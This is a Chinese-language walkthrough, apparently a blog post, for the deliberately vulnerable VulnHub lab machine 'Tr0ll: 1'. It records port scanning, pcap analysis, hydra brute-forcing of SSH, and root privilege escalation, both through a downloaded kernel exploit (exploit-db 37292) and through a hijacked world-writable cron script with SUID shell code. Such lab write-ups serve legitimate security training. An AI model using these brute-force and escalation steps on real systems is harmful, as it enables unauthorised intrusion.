vulnhub Tr0ll: 1

本文思路

nmap扫描开放端口---->匿名登录ftp,下载lol.pcap---->wireshark打开并分析lol.pcap,找到sup3rs3cr3tdirlol目录---->sup3rs3cr3tdirlol目录下找到roflmao,执行后发现0x0856BF目录---->hydra爆破得到ssh用户名密码---->提权:内核版本漏洞提权(或者定时任务提权)

具体步骤

这个靶机脑洞有点大

步骤1:nmap扫描靶机

sudo nmap -sS -A -p 1-10000 192.168.101.30

扫描结果如下图所示,扫描到了21(ftp)端口,22(ssh)端口,80(http) 端口

并且值得注意的是21端口允许匿名登录

步骤2:nikto和dirb扫描(没有扫出有用信息)

nikto扫描靶机的命令

nikto -host 192.168.101.30

扫描结果

dirb扫描靶机的命令

dirb http://192.168.101.30

扫描结果

没扫出啥有用的,访问了一下扫描到的目录和文件,没有啥有价值的信息。

步骤3:匿名访问ftp,下载lol.pcap

用浏览器访问ftp://192.168.101.30/ ,并下载lol.pcap

步骤4:用wireshark查看lol.pcap,找到目录sup3rs3cr3tdirlol

用wireshark打开lol.pcap,按协议给报文排序,在FTP-DATA中找到secret_stuff.txt的内容,其中包含sup3rs3cr3tdirlol,看起来像个目录的名字

步骤5:找到roflmao并执行,得到下一个目录名0x0856BF

先试了用ftp协议访问sup3rs3cr3tdirlol,没成功;

后来访问了http://192.168.101.30/sup3rs3cr3tdirlol/,成功找到文件roflmao。

下载之后用strings命令看了一下roflmao的内容,感觉像是个可执行文件

修改文件权限为700,并执行

chmod 700 roflmao
./roflmao

执行结果如下,0x0856BF又是一个目录名

步骤6:hydra爆破得到系统用户名和密码

访问http://192.168.101.30/0x0856BF/看到如下两个目录

http://192.168.101.30/0x0856BF/good_luck/ 下面有一个txt文件

结合文件名和内容,应该是可能的用户名

把该文件内容保存到users.txt(genphlux后面的提示去掉)

http://192.168.101.30/0x0856BF/this_folder_contains_the_password/ 下面有一个文件Pass.txt,打开之后只有一行Good_job_:)

下面用hydra尝试爆破ssh用户名密码

先试了一下下面的命令,没爆破出来

hydra -L users.txt -p "Good_job_:)" ssh://192.168.101.30

又试了下面这个命令,爆破出来用户名是overflow,密码是Pass.txt(太狗了)

hydra -L users.txt -p "Pass.txt" ssh://192.168.101.30

爆破的时候注意,靶机的ssh似乎是有一点防暴力破解机制的,失败次数多了会连不上,歇几分钟再爆。

ssh登录靶机

ssh overflow@192.168.101.30

用如下命令得到交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

步骤7:内核版本漏洞提权

靶机上输入如下命令得到内核版本号

uname -a

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers搜索3.13.0,得到两个结果,选择https://www.exploit-db.com/exploits/37292,下载exp:37292.c

攻击机上开http服务:

python -m SimpleHTTPServer 7777

靶机中进入到tmp目录(所有用户有写权限),下载37292.c

wget http://192.168.101.20:7777/37292.c

用gcc命令编译

gcc -o 37292 37292.c

执行

./37292

执行成功,获得root权限 

在/root目录下找到proof.txt

另一种提权思路:定时任务提权

打完之后看看官网的writeup,发现有人用定时任务提权。其实我发现下载到/tmp下面的文件过一段时间就没了,但是没有往这方面想,一方面是因为内核漏洞提权太方便,另一方面也是因为我菜……

查找权限777的文件

find / -perm 777 -type f 2>/dev/null

把之前没遇到过的3个都cat一遍,发现 /var/tmp/cleaner.py.swp和/var/log/cronlog都与/lib/log/cleaner.py有关,且/var/log/cronlog的内容表明/lib/log/cleaner.py是一个每2分钟执行一次的定时任务。

从/lib/log/cleaner.py的内容可知,其作用是清空/tmp/目录下的所有文件。

 

由于 /lib/log/cleaner.py是所有用户可编辑的,又是以root权限运行的定时任务,因此可以通过修改该文件的内容,并等待定时任务触发来提权。

有一个博客写了好多种具体的利用定时任务提权的方法,还挺详细的,这里就不赘述了

Tr0ll:1靶机-Walkthrough_ins1ght的博客-CSDN博客

这里演示其中一种:

首先建立两个文件suid.c和suid.py,内容分别如下:

suid.c

int main(void){
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

suid.py

#!/usr/bin/env python
import os
import sys
try:
    os.system('chown root:root /tmp/suid; chmod 4777 /tmp/suid')
except:
    sys.exit()

然后攻击机起http服务,靶机上用wget命令把这两个文件拷贝到/tmp目录下。

编译suid.c

gcc -o suid suid.c

用/tmp/suid.py的内容覆盖/lib/log/cleaner.py的内容

cat /tmp/suid.py > /lib/log/cleaner.py

然后等待suid文件的属主变成root就行了

执行

./suid

获得root用户权限 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值